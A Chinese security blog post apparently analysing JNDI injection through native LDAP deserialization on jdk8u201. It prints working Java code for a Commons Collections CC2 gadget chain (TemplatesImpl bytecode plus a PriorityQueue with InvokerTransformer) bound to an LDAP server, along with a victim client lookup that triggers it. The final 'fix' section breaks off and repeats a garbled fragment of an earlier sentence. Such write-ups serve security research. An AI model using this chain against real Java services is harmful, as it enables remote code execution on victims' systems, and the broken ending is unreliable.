参考博客:

JNDI注入与动态类加载

分析版本

jdk8u201

流程分析

在前面JNDI-ldap绕过分析中提到,存在ldap原生反序列化利用点。

再回顾一下,在deserializeObject

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { //var1=AppClassLoader,修复之后在本地加载
    try {
        ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

        try {
            Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1); 
            Throwable var21 = null;

            Object var5;
            try {
                var5 = ((ObjectInputStream)var20).readObject();  //原生反序列化
            } catch (Throwable var16) {
//....

原生反序列化可以直接打,不需要Reference。

攻击实现

我们模拟一下受害方是存在CC利用链的,所以现在项目中添加依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

打下CC2

重写一个Ldap的绑定

public class JNDILDAPServerBypass {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        //Reference refObj = new Reference("Test", "Test", "http://localhost:4444/");
        initialContext.rebind("ldap://localhost:10389/cn=Evil,dc=example,dc=com", getEvilPriorityQueue());

    }

    public static PriorityQueue getEvilPriorityQueue() throws Exception {
        //CC2
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        ///Class transformingComparatorClass = TransformingComparator.class;  //也可以
        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, invokerTransformer);

        return priorityQueue;
    }

}

看下Ldap服务器

JNDI-反序列化-LMLPHP

之后模拟受害方客户端请求

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=Evil,dc=example,dc=com");
        //LdapCtx

    }
}

攻击成功

JNDI-反序列化-LMLPHP

分析上面代码时,也分析到了decodeReference(var0, var2);调用了,deserializeObject方法也会产生反序列化漏洞

修复

  1. 关于deserializeObject的修复,提供了个类之前trustURLCodebase属性开关,但是默认开启,不影响
    rence(var0, var2);`调用了,deserializeObject方法也会产生反序列化漏洞**
07-31 11:47